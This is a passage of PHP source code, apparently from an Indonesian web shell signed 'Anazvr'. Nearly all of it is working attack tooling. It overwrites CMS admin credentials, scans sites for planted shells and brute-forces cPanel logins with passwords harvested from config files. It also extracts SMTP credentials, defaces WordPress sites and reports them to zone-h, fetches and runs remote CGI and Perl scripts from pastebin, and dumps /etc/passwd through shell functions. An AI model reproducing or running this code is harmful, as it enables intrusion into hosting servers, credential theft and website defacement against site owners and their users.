2210 $dbprefix = ambilkata($config,"'DB_PREFIX', '","'");
2211 $prefix = $dbprefix."user";
2212 $conn = mysql_connect($dbhost,$dbuser,$dbpass);
2213 $db = mysql_select_db($dbname);
2214 $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
2215 $result = mysql_fetch_array($q);
2216 $id = $result[user_id];
2217 $target = ambilkata($config,"HTTP_SERVER', '","'");
2218 if($target == '') {
2219 $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
2220 } else {
2221 $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a><br>";
2222 }
2223 $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
2224 echo "Config => ".$file_conf."<br>";
2225 echo "CMS => OpenCart<br>";
2226 echo $url_target;
2227 if(!$update OR !$conn OR !$db) {
2228 echo "Status => <font color=red>".mysql_error()."</font><br><br>";
2229 } else {
2230 echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
2231 }
2232 mysql_close($conn);
2233 } elseif(preg_match("/panggil fungsi validasi xss dan injection/",$config)) {
2234 $dbhost = ambilkata($config,'server = "','"');
2235 $dbuser = ambilkata($config,'username = "','"');
2236 $dbpass = ambilkata($config,'password = "','"');
2237 $dbname = ambilkata($config,'database = "','"');
2238 $prefix = "users";
2239 $option = "identitas";
2240 $conn = mysql_connect($dbhost,$dbuser,$dbpass);
2241 $db = mysql_select_db($dbname);
2242 $q = mysql_query("SELECT * FROM $option ORDER BY id_identitas ASC");
2243 $result = mysql_fetch_array($q);
2244 $target = $result[alamat_website];
2245 if($target == '') {
2246 $target2 = $result[url];
2247 $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
2248 if($target2 == '') {
2249 $url_target2 = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
2250 } else {
2251 $cek_login3 = file_get_contents("$target2/adminweb/");
2252 $cek_login4 = file_get_contents("$target2/lokomedia/adminweb/");
2253 if(preg_match("/CMS Lokomedia|Administrator/", $cek_login3)) {
2254 $url_target2 = "Login => <a href='$target2/adminweb' target='_blank'><u>$target2/adminweb</u></a><br>";
2255 } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login4)) {
2256 $url_target2 = "Login => <a href='$target2/lokomedia/adminweb' target='_blank'><u>$target2/lokomedia/adminweb</u></a><br>";
2257 } else {
2258 $url_target2 = "Login => <a href='$target2' target='_blank'><u>$target2</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
2259 }
2260 }
2261 } else {
2262 $cek_login = file_get_contents("$target/adminweb/");
2263 $cek_login2 = file_get_contents("$target/lokomedia/adminweb/");
2264 if(preg_match("/CMS Lokomedia|Administrator/", $cek_login)) {
2265 $url_target = "Login => <a href='$target/adminweb' target='_blank'><u>$target/adminweb</u></a><br>";
2266 } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login2)) {
2267 $url_target = "Login => <a href='$target/lokomedia/adminweb' target='_blank'><u>$target/lokomedia/adminweb</u></a><br>";
2268 } else {
2269 $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
2270 }
2271 }
2272 $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE level='admin'");
2273 echo "Config => ".$file_conf."<br>";
2274 echo "CMS => Lokomedia<br>";
2275 if(preg_match('/error, gabisa ambil nama domain nya/', $url_target)) {
2276 echo $url_target2;
2277 } else {
2278 echo $url_target;
2279 }
2280 if(!$update OR !$conn OR !$db) {
2281 echo "Status => <font color=red>".mysql_error()."</font><br><br>";
2282 } else {
2283 echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
2284 }
2285 mysql_close($conn);
2286 }
2287 }
2288 }
2289 } else {
2290 echo "<center>
2291 <h1>Auto Edit User Config</h1>
2292 <form method='post'>
2293 DIR Config: <br>
2294 <input type='text' size='50' name='config_dir' value='$dir'><br><br>
2295 Set User & Pass: <br>
2296 <input type='text' name='user_baru' value='Anazvr' placeholder='user_baru'><br>
2297 <input type='text' name='pass_baru' value='Anazvr' placeholder='pass_baru'><br>
2298 <input type='submit' name='hajar' value='Hajar!' style='width: 215px;'>
2299 </form>
2300 <span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br>
2301 ";
2302 }
2303}elseif($_GET['do'] == 'shelscan') {
2304 echo'<center><h2>Shell Finder</h2>
2305<form action="" method="post">
2306<input type="text" size="50" name="traget" value="http://www.site.com/"/>
2307<br>
2308<input name="scan" value="Start Scaning" style="width: 215px;" type="submit">
2309</form><br>';
2310if (isset($_POST["scan"])) {
2311$url = $_POST['traget'];
2312echo "<br /><span class='start'>Scanning ".$url."<br /><br /></span>";
2313echo "Result :<br />";
2314$shells = array("WSO.php","dz.php","cpanel.php","cpn.php","sql.php","mysql.php","madspot.php","cp.php","cpbt.php","sYm.php",
2315"x.php","r99.php","lol.php","jo.php","wp.php","whmcs.php","shellz.php","d0main.php","d0mains.php","users.php",
2316"Cgishell.pl","killer.php","changeall.php","2.php","Sh3ll.php","dz0.php","dam.php","user.php","dom.php","whmcs.php",
2317"vb.zip","r00t.php","c99.php","gaza.php","1.php","wp.zip"."wp-content/plugins/disqus-comment-system/disqus.php",
2318"d0mains.php","wp-content/plugins/akismet/akismet.php","madspotshell.php","Sym.php","c22.php","c100.php",
2319"wp-content/plugins/akismet/admin.php#","wp-content/plugins/google-sitemap-generator/sitemap-core.php#",
2320"wp-content/plugins/akismet/widget.php#","Cpanel.php","zone-h.php","tmp/user.php","tmp/Sym.php","cp.php",
2321"tmp/madspotshell.php","tmp/root.php","tmp/whmcs.php","tmp/index.php","tmp/2.php","tmp/dz.php","tmp/cpn.php",
2322"tmp/changeall.php","tmp/Cgishell.pl","tmp/sql.php","tmp/admin.php","cliente/downloads/h4xor.php",
2323"whmcs/downloads/dz.php","L3b.php","d.php","tmp/d.php","tmp/L3b.php","wp-content/plugins/akismet/admin.php",
2324"templates/rhuk_milkyway/index.php","templates/beez/index.php","admin1.php","upload.php","up.php","vb.zip","vb.rar",
2325"admin2.asp","uploads.php","sa.php","sysadmins/","admin1/","administration/Sym.php","images/Sym.php",
2326"/r57.php","/wp-content/plugins/disqus-comment-system/disqus.php","/shell.php","/sa.php","/admin.php",
2327"/sa2.php","/2.php","/gaza.php","/up.php","/upload.php","/uploads.php","/templates/beez/index.php","shell.php","/amad.php",
2328"/t00.php","/dz.php","/site.rar","/Black.php","/site.tar.gz","/home.zip","/home.rar","/home.tar","/home.tar.gz",
2329"/forum.zip","/forum.rar","/forum.tar","/forum.tar.gz","/test.txt","/ftp.txt","/user.txt","/site.txt","/error_log","/error",
2330"/cpanel","/awstats","/site.sql","/vb.sql","/forum.sql","/backup.sql","/back.sql","/data.sql","wp.rar/",
2331"wp-content/plugins/disqus-comment-system/disqus.php","asp.aspx","/templates/beez/index.php","tmp/vaga.php",
2332"tmp/killer.php","whmcs.php","tmp/killer.php","tmp/domaine.pl","tmp/domaine.php","useradmin/",
2333"tmp/d0maine.php","d0maine.php","tmp/sql.php","tmp/dz1.php","dz1.php","forum.zip","Symlink.php","Symlink.pl",
2334"forum.rar","joomla.zip","joomla.rar","wp.php","buck.sql","sysadmin.php","images/c99.php", "xd.php", "c100.php",
2335"spy.aspx","xd.php","tmp/xd.php","sym/root/home/","billing/killer.php","tmp/upload.php","tmp/admin.php",
2336"Server.php","tmp/uploads.php","tmp/up.php","Server/","wp-admin/c99.php","tmp/priv8.php","priv8.php","cgi.pl/",
2337"tmp/cgi.pl","downloads/dom.php","templates/ja-helio-farsi/index.php","webadmin.html","admins.php",
2338"/wp-content/plugins/count-per-day/js/yc/d00.php", "admins/","admins.asp","admins.php","wp.zip","wso2.5.1","pasir.php","pasir2.php","up.php","cok.php","newfile.php","upl.php",".php","a.php","crot.php","kontol.php","hmei7.php","jembut.php","memek.php","tai.php","rabit.php","indoxploit.php","a.php","hemb.php","hack.php","galau.php","HsH.php","indoXploit.php","asu.php","wso.php","lol.php","idx.php","rabbit.php","1n73ction.php","k.php","mailer.php","mail.php","temp.php","c.php","d.php","IDB.php","indo.php","indonesia.php","semvak.php","ndasmu.php","cox.php","as.php","ad.php","aa.php","file.php","peju.php","asd.php","configs.php","ass.php","z.php");
2339foreach ($shells as $shell){
2340$headers = get_headers("$url$shell"); //
2341if (eregi('200', $headers[0])) {
2342echo "<a href='$url$shell'>$url$shell</a> <span class='found'>Done :D</span><br /><br/><br/>"; //
2343$dz = fopen('shells.txt', 'a+');
2344$suck = "$url$shell";
2345fwrite($dz, $suck."\n");
2346}
2347}
2348echo "Shell [ <a href='./shells.txt' target='_blank'>shells.txt</a> ]</span>";
2349}
2350
2351}
2352 elseif($_GET['do'] == 'cpanel') {
2353 if($_POST['crack']) {
2354 $usercp = explode("\r\n", $_POST['user_cp']);
2355 $passcp = explode("\r\n", $_POST['pass_cp']);
2356 $i = 0;
2357 foreach($usercp as $ucp) {
2358 foreach($passcp as $pcp) {
2359 if(@mysql_connect('localhost', $ucp, $pcp)) {
2360 if($_SESSION[$ucp] && $_SESSION[$pcp]) {
2361 } else {
2362 $_SESSION[$ucp] = "1";
2363 $_SESSION[$pcp] = "1";
2364 $i++;
2365 echo "username (<font color=lime>$ucp</font>) password (<font color=lime>$pcp</font>)<br>";
2366 }
2367 }
2368 }
2369 }
2370 if($i == 0) {
2371 } else {
2372 echo "<br>Nemu ".$i." Cpanel by <font color=lime>Anazvr</font>";
2373 }
2374 } else {
2375 echo "<center>
2376 <form method='post'>
2377 USER: <br>
2378 <textarea style='width: 450px; height: 150px;' name='user_cp'>";
2379 $_usercp = fopen("/etc/passwd","r");
2380 while($getu = fgets($_usercp)) {
2381 if($getu == '' || !$_usercp) {
2382 echo "<font color=red>Can't read /etc/passwd</font>";
2383 } else {
2384 preg_match_all("/(.*?):x:/", $getu, $u);
2385 foreach($u[1] as $user_cp) {
2386 if(is_dir("/home/$user_cp/public_html")) {
2387 echo "$user_cp\n";
2388 }
2389 }
2390 }
2391 }
2392 echo "</textarea><br>
2393 PASS: <br>
2394 <textarea style='width: 450px; height: 200px;' name='pass_cp'>";
2395 function cp_pass($dir) {
2396 $pass = "";
2397 $dira = scandir($dir);
2398 foreach($dira as $dirb) {
2399 if(!is_file("$dir/$dirb")) continue;
2400 $ambil = file_get_contents("$dir/$dirb");
2401 if(preg_match("/WordPress/", $ambil)) {
2402 $pass .= ambilkata($ambil,"DB_PASSWORD', '","'")."\n";
2403 } elseif(preg_match("/JConfig|joomla/", $ambil)) {
2404 $pass .= ambilkata($ambil,"password = '","'")."\n";
2405 } elseif(preg_match("/Magento|Mage_Core/", $ambil)) {
2406 $pass .= ambilkata($ambil,"<password><![CDATA[","]]></password>")."\n";
2407 } elseif(preg_match("/panggil fungsi validasi xss dan injection/", $ambil)) {
2408 $pass .= ambilkata($ambil,'password = "','"')."\n";
2409 } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/", $ambil)) {
2410 $pass .= ambilkata($ambil,"'DB_PASSWORD', '","'")."\n";
2411 } elseif(preg_match("/client/", $ambil)) {
2412 preg_match("/password=(.*)/", $ambil, $pass1);
2413 if(preg_match('/"/', $pass1[1])) {
2414 $pass1[1] = str_replace('"', "", $pass1[1]);
2415 $pass .= $pass1[1]."\n";
2416 }
2417 } elseif(preg_match("/cc_encryption_hash/", $ambil)) {
2418 $pass .= ambilkata($ambil,"db_password = '","'")."\n";
2419 }
2420 }
2421 echo $pass;
2422 }
2423 $cp_pass = cp_pass($dir);
2424 echo $cp_pass;
2425 echo "</textarea><br>
2426 <input type='submit' name='crack' style='width: 450px;' value='Crack'>
2427 </form>
2428 <span>NB: CPanel Crack ini sudah auto get password ( pake db password ) maka akan work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br></center>";
2429 }
2430} elseif($_GET['do'] == 'smtp') {
2431 echo "<center><span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span></center><br>";
2432 function scj($dir) {
2433 $dira = scandir($dir);
2434 foreach($dira as $dirb) {
2435 if(!is_file("$dir/$dirb")) continue;
2436 $ambil = file_get_contents("$dir/$dirb");
2437 $ambil = str_replace("$", "", $ambil);
2438 if(preg_match("/JConfig|joomla/", $ambil)) {
2439 $smtp_host = ambilkata($ambil,"smtphost = '","'");
2440 $smtp_auth = ambilkata($ambil,"smtpauth = '","'");
2441 $smtp_user = ambilkata($ambil,"smtpuser = '","'");
2442 $smtp_pass = ambilkata($ambil,"smtppass = '","'");
2443 $smtp_port = ambilkata($ambil,"smtpport = '","'");
2444 $smtp_secure = ambilkata($ambil,"smtpsecure = '","'");
2445 echo "SMTP Host: <font color=lime>$smtp_host</font><br>";
2446 echo "SMTP port: <font color=lime>$smtp_port</font><br>";
2447 echo "SMTP user: <font color=lime>$smtp_user</font><br>";
2448 echo "SMTP pass: <font color=lime>$smtp_pass</font><br>";
2449 echo "SMTP auth: <font color=lime>$smtp_auth</font><br>";
2450 echo "SMTP secure: <font color=lime>$smtp_secure</font><br><br>";
2451 }
2452 }
2453 }
2454 $smpt_hunter = scj($dir);
2455 echo $smpt_hunter;
2456} elseif($_GET['do'] == 'auto_wp') {
2457 if($_POST['hajar']) {
2458 $title = htmlspecialchars($_POST['new_title']);
2459 $pn_title = str_replace(" ", "-", $title);
2460 if($_POST['cek_edit'] == "Y") {
2461 $script = $_POST['edit_content'];
2462 } else {
2463 $script = $title;
2464 }
2465 $conf = $_POST['config_dir'];
2466 $scan_conf = scandir($conf);
2467 foreach($scan_conf as $file_conf) {
2468 if(!is_file("$conf/$file_conf")) continue;
2469 $config = file_get_contents("$conf/$file_conf");
2470 if(preg_match("/WordPress/", $config)) {
2471 $dbhost = ambilkata($config,"DB_HOST', '","'");
2472 $dbuser = ambilkata($config,"DB_USER', '","'");
2473 $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
2474 $dbname = ambilkata($config,"DB_NAME', '","'");
2475 $dbprefix = ambilkata($config,"table_prefix = '","'");
2476 $prefix = $dbprefix."posts";
2477 $option = $dbprefix."options";
2478 $conn = mysql_connect($dbhost,$dbuser,$dbpass);
2479 $db = mysql_select_db($dbname);
2480 $q = mysql_query("SELECT * FROM $prefix ORDER BY ID ASC");
2481 $result = mysql_fetch_array($q);
2482 $id = $result[ID];
2483 $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
2484 $result2 = mysql_fetch_array($q2);
2485 $target = $result2[option_value];
2486 $update = mysql_query("UPDATE $prefix SET post_title='$title',post_content='$script',post_name='$pn_title',post_status='publish',comment_status='open',ping_status='open',post_type='post',comment_count='1' WHERE id='$id'");
2487 $update .= mysql_query("UPDATE $option SET option_value='$title' WHERE option_name='blogname' OR option_name='blogdescription'");
2488 echo "<div style='margin: 5px auto;'>";
2489 if($target == '') {
2490 echo "URL: <font color=red>error, gabisa ambil nama domain nya</font> -> ";
2491 } else {
2492 echo "URL: <a href='$target/?p=$id' target='_blank'>$target/?p=$id</a> -> ";
2493 }
2494 if(!$update OR !$conn OR !$db) {
2495 echo "<font color=red>MySQL Error: ".mysql_error()."</font><br>";
2496 } else {
2497 echo "<font color=lime>sukses di ganti.</font><br>";
2498 }
2499 echo "</div>";
2500 mysql_close($conn);
2501 }
2502 }
2503 } else {
2504 echo "<center>
2505 <h1>Auto Edit Title+Content WordPress</h1>
2506 <form method='post'>
2507 DIR Config: <br>
2508 <input type='text' size='50' name='config_dir' value='$dir'><br><br>
2509 Set Title: <br>
2510 <input type='text' name='new_title' value='Hacked By Anazvr' placeholder='New Title'><br><br>
2511 Edit Content?: <input type='radio' name='cek_edit' value='Y' checked>Y<input type='radio' name='cek_edit' value='N'>N<br>
2512 <span>Jika pilih <u>Y</u> masukin script defacemu ( saran yang simple aja ), kalo pilih <u>N</u> gausah di isi.</span><br>
2513 <textarea name='edit_content' placeholder='contoh script: http://pastebin.com/EpP671gK' style='width: 450px; height: 150px;'></textarea><br>
2514 <input type='submit' name='hajar' value='Hajar!' style='width: 450px;'><br>
2515 </form>
2516 <span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br>
2517 ";
2518 }
2519} elseif($_GET['do'] == 'zoneh') {
2520 if($_POST['submit']) {
2521 $domain = explode("\r\n", $_POST['url']);
2522 $nick = $_POST['nick'];
2523 echo "Defacer Onhold: <a href='http://www.zone-h.org/archive/notifier=$nick/published=0' target='_blank'>http://www.zone-h.org/archive/notifier=$nick/published=0</a><br>";
2524 echo "Defacer Archive: <a href='http://www.zone-h.org/archive/notifier=$nick' target='_blank'>http://www.zone-h.org/archive/notifier=$nick</a><br><br>";
2525 function zoneh($url,$nick) {
2526 $ch = curl_init("http://www.zone-h.com/notify/single");
2527 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
2528 curl_setopt($ch, CURLOPT_POST, true);
2529 curl_setopt($ch, CURLOPT_POSTFIELDS, "defacer=$nick&domain1=$url&hackmode=1&reason=1&submit=Send");
2530 return curl_exec($ch);
2531 curl_close($ch);
2532 }
2533 foreach($domain as $url) {
2534 $zoneh = zoneh($url,$nick);
2535 if(preg_match("/color=\"red\">OK<\/font><\/li>/i", $zoneh)) {
2536 echo "$url -> <font color=lime>OK</font><br>";
2537 } else {
2538 echo "$url -> <font color=red>ERROR</font><br>";
2539 }
2540 }
2541 } else {
2542 echo "<center><form method='post'>
2543 <u>Defacer</u>: <br>
2544 <input type='text' name='nick' size='50' value'Anazvr'><br>
2545 <u>Domains</u>: <br>
2546 <textarea style='width: 450px; height: 150px;' name='url'></textarea><br>
2547 <input type='submit' name='submit' value='Submit' style='width: 450px;'>
2548 </form>";
2549 }
2550 echo "</center>";
2551}elseif($_GET['do'] == 'lcf') {
2552 mkdir('LCF',0755);
2553chdir('LCF');
2554$kokdosya = ".htaccess";
2555$dosya_adi = "$kokdosya";
2556$dosya = fopen ($dosya_adi , 'w') or die ("Error mas broo!!!");
2557$metin = "OPTIONS Indexes Includes ExecCGI FollowSymLinks \n AddType application/x-httpd-cgi .pl \n AddHandler cgi-script .pl \n AddHandler cgi-script .pl
2558\n \n Options \n DirectoryIndex seees.html \n RemoveHandler .php \n AddType application/octet-stream .php";
2559fwrite ( $dosya , $metin ) ;
2560 fclose ($dosya);
2561$file = fopen("lcf.pl","w+");
2562$write = fwrite ($file ,file_get_contents("http://pastebin.com/raw/26jAL0sz"));
2563fclose($file);
2564chmod("lcf.pl",0755);
2565echo "<iframe src=LCF/lcf.pl width=97% height=100% frameborder=0></iframe>";
2566}
2567 elseif($_GET['do'] == 'cgi') {
2568 $cgi_dir = mkdir('idx_cgi', 0755);
2569 $file_cgi = "idx_cgi/cgi.izo";
2570 $isi_htcgi = "AddHandler cgi-script .izo";
2571 $htcgi = fopen(".htaccess", "w");
2572 $cgi_script = file_get_contents("http://pastebin.com/raw.php?i=XTUFfJLg");
2573 $cgi = fopen($file_cgi, "w");
2574 fwrite($cgi, $cgi_script);
2575 fwrite($htcgi, $isi_htcgi);
2576 chmod($file_cgi, 0755);
2577 echo "<iframe src='idx_cgi/cgi.izo' width='100%' height='100%' frameborder='0' scrolling='no'></iframe>";
2578} elseif($_GET['do'] == 'fake_root') {
2579 ob_start();
2580 function reverse($url) {
2581 $ch = curl_init("http://domains.yougetsignal.com/domains.php");
2582 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
2583 curl_setopt($ch, CURLOPT_POSTFIELDS, "remoteAddress=$url&ket=");
2584 curl_setopt($ch, CURLOPT_HEADER, 0);
2585 curl_setopt($ch, CURLOPT_POST, 1);
2586 $resp = curl_exec($ch);
2587 $resp = str_replace("[","", str_replace("]","", str_replace("\"\"","", str_replace(", ,",",", str_replace("{","", str_replace("{","", str_replace("}","", str_replace(", ",",", str_replace(", ",",", str_replace("'","", str_replace("'","", str_replace(":",",", str_replace('"','', $resp ) ) ) ) ) ) ) ) ) ))));
2588 $array = explode(",,", $resp);
2589 unset($array[0]);
2590 foreach($array as $lnk) {
2591 $lnk = "http://$lnk";
2592 $lnk = str_replace(",", "", $lnk);
2593 echo $lnk."\n";
2594 ob_flush();
2595 flush();
2596 }
2597 curl_close($ch);
2598 }
2599 function cek($url) {
2600 $ch = curl_init($url);
2601 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
2602 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
2603 $resp = curl_exec($ch);
2604 return $resp;
2605 }
2606 $cwd = getcwd();
2607 $ambil_user = explode("/", $cwd);
2608 $user = $ambil_user[2];
2609 if($_POST['reverse']) {
2610 $site = explode("\r\n", $_POST['url']);
2611 $file = $_POST['file'];
2612 foreach($site as $url) {
2613 $cek = cek("$url/~$user/$file");
2614 if(preg_match("/hacked/i", $cek)) {
2615 echo "URL: <a href='$url/~$user/$file' target='_blank'>$url/~$user/$file</a> -> <font color=lime>Fake Root!</font><br>";
2616 }
2617 }
2618 } else {
2619 echo "<center><form method='post'>
2620 Filename: <br><input type='text' name='file' value='deface.html' size='50' height='10'><br>
2621 User: <br><input type='text' value='$user' size='50' height='10' readonly><br>
2622 Domain: <br>
2623 <textarea style='width: 450px; height: 250px;' name='url'>";
2624 reverse($_SERVER['HTTP_HOST']);
2625 echo "</textarea><br>
2626 <input type='submit' name='reverse' value='Scan Fake Root!' style='width: 450px;'>
2627 </form><br>
2628 NB: Sebelum gunain Tools ini , upload dulu file deface kalian di dir /home/user/ dan /home/user/public_html.</center>";
2629 }
2630} elseif($_GET['do'] == 'adminer') {
2631 $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
2632 function adminer($url, $isi) {
2633 $fp = fopen($isi, "w");
2634 $ch = curl_init();
2635 curl_setopt($ch, CURLOPT_URL, $url);
2636 curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
2637 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
2638 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
2639 curl_setopt($ch, CURLOPT_FILE, $fp);
2640 return curl_exec($ch);
2641 curl_close($ch);
2642 fclose($fp);
2643 ob_flush();
2644 flush();
2645 }
2646 if(file_exists('adminer.php')) {
2647 echo "<center><font color=lime><a href='$full/adminer.php' target='_blank'>-> adminer login <-</a></font></center>";
2648 } else {
2649 if(adminer("https://www.adminer.org/static/download/4.2.4/adminer-4.2.4.php","adminer.php")) {
2650 echo "<center><font color=lime><a href='$full/adminer.php' target='_blank'>-> adminer login <-</a></font></center>";
2651 } else {
2652 echo "<center><font color=red>gagal buat file adminer</font></center>";
2653 }
2654 }
2655}elseif($_GET['do'] == 'passwbypass') {
2656 echo '<center>Bypass etc/passw With:<br>
2657<table style="width:50%">
2658 <tr>
2659 <td><form method="post"><input type="submit" value="System Function" name="syst"></form></td>
2660 <td><form method="post"><input type="submit" value="Passthru Function" name="passth"></form></td>
2661 <td><form method="post"><input type="submit" value="Exec Function" name="ex"></form></td>
2662 <td><form method="post"><input type="submit" value="Shell_exec Function" name="shex"></form></td>
2663 <td><form method="post"><input type="submit" value="Posix_getpwuid Function" name="melex"></form></td>
2664</tr></table>Bypass User With : <table style="width:50%">
2665<tr>
2666 <td><form method="post"><input type="submit" value="Awk Program" name="awkuser"></form></td>
2667 <td><form method="post"><input type="submit" value="System Function" name="systuser"></form></td>
2668 <td><form method="post"><input type="submit" value="Passthru Function" name="passthuser"></form></td>
2669 <td><form method="post"><input type="submit" value="Exec Function" name="exuser"></form></td>
2670 <td><form method="post"><input type="submit" value="Shell_exec Function" name="shexuser"></form></td>
2671</tr>
2672</table><br>';
2673
2674
2675if ($_POST['awkuser']) {
2676echo"<textarea class='inputzbut' cols='65' rows='15'>";
2677echo shell_exec("awk -F: '{ print $1 }' /etc/passwd | sort");
2678echo "</textarea><br>";
2679}
2680if ($_POST['systuser']) {
2681echo"<textarea class='inputzbut' cols='65' rows='15'>";
2682echo system("ls /var/mail");
2683echo "</textarea><br>";
2684}
2685if ($_POST['passthuser']) {
2686echo"<textarea class='inputzbut' cols='65' rows='15'>";
2687echo passthru("ls /var/mail");
2688echo "</textarea><br>";
2689}
2690if ($_POST['exuser']) {
2691echo"<textarea class='inputzbut' cols='65' rows='15'>";
2692echo exec("ls /var/mail");
2693echo "</textarea><br>";
2694}
2695if ($_POST['shexuser']) {
2696echo"<textarea class='inputzbut' cols='65' rows='15'>";
2697echo shell_exec("ls /var/mail");
2698echo "</textarea><br>";
2699}
2700if($_POST['syst'])
2701{
2702echo"<textarea class='inputz' cols='65' rows='15'>";
2703echo system("cat /etc/passwd");
2704echo"</textarea><br><br><b></b><br>";
2705}
2706if($_POST['passth'])
2707{
2708echo"<textarea class='inputz' cols='65' rows='15'>";
2709echo passthru("cat /etc/passwd");
2710echo"</textarea><br><br><b></b><br>";
2711}
2712if($_POST['ex'])
2713{
2714echo"<textarea class='inputz' cols='65' rows='15'>";
2715echo exec("cat /etc/passwd");
2716echo"</textarea><br><br><b></b><br>";
2717}
2718if($_POST['shex'])
2719{
2720echo"<textarea class='inputz' cols='65' rows='15'>";
2721echo shell_exec("cat /etc/passwd");
2722echo"</textarea><br><br><b></b><br>";
2723}
2724echo '<center>';
2725if($_POST['melex'])
2726{
2727echo"<textarea class='inputz' cols='65' rows='15'>";
2728for($uid=0;$uid<60000;$uid++){
2729$ara = posix_getpwuid($uid);
2730if (!empty($ara)) {
2731while (list ($key, $val) = each($ara)){
2732print "$val:";
2733}
2734print "\n";
2735}
2736}
2737echo"</textarea><br><br>";
2738}
2739//
2740
2741//
2742
2743
2744
2745###########################################################################
2746} elseif($_GET['act'] == 'chmod') {
2747 echo "<tr><td>Current File : ";
2748 echo base64_decode($_GET['filesrc']);
2749 echo '</tr></td></table><br />';
2750 echo('<pre>'.htmlspecialchars(file_get_contents(base64_decode($_GET['filesrc']))).'</pre>');
2751}elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
2752 echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
2753 if($_POST['opt'] == 'chmod'){
2754 if(isset($_POST['perm'])){
2755 if(chmod($_POST['path'],$_POST['perm'])){
2756 echo '<font color="green">Change Permission Done.</font><br />';
2757 }else{
2758 echo '<font color="red">Change Permission Error.</font><br />';
2759 }
2760 }
2761 echo '<form method="POST">
2762 Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
2763 <input type="hidden" name="path" value="'.$_POST['path'].'">
2764 <input type="hidden" name="opt" value="chmod">
2765 <input type="submit" value="Done" />
2766 </form>';
2767}
2768
2769#########################################################################
2770
2771
2772} elseif($_GET['do'] == 'auto_dwp2') {
2773 if($_POST['auto_deface_wp']) {
2774 function anucurl($sites) {
2775 $ch = curl_init($sites);
2776 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
2777 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
2778 curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
2779 curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
2780 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
2781 curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
2782 curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
2783 curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
2784 curl_setopt($ch, CURLOPT_COOKIESESSION,true);
2785 $data = curl_exec($ch);
2786 curl_close($ch);
2787 return $data;
2788 }
2789 function lohgin($cek, $web, $userr, $pass, $wp_submit) {
2790 $post = array(
2791 "log" => "$userr",
2792 "pwd" => "$pass",
2793 "rememberme" => "forever",
2794 "wp-submit" => "$wp_submit",
2795 "redirect_to" => "$web",
2796 "testcookie" => "1",
2797 );
2798 $ch = curl_init($cek);
2799 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
2800 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
2801 curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
2802 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
2803 curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
2804 curl_setopt($ch, CURLOPT_POST, 1);
2805 curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
2806 curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
2807 curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
2808 curl_setopt($ch, CURLOPT_COOKIESESSION, true);
2809 $data = curl_exec($ch);
2810 curl_close($ch);
2811 return $data;
2812 }
2813 $link = explode("\r\n", $_POST['link']);
2814 $script = htmlspecialchars($_POST['script']);
2815 $user = "anazvr";
2816 $pass = "anazvr";
2817 $passx = md5($pass);
2818 foreach($link as $dir_config) {
2819 $config = anucurl($dir_config);
2820 $dbhost = ambilkata($config,"DB_HOST', '","'");
2821 $dbuser = ambilkata($config,"DB_USER', '","'");
2822 $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
2823 $dbname = ambilkata($config,"DB_NAME', '","'");
2824 $dbprefix = ambilkata($config,"table_prefix = '","'");
2825 $prefix = $dbprefix."users";
2826 $option = $dbprefix."options";
2827 $conn = mysql_connect($dbhost,$dbuser,$dbpass);
2828 $db = mysql_select_db($dbname);
2829 $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
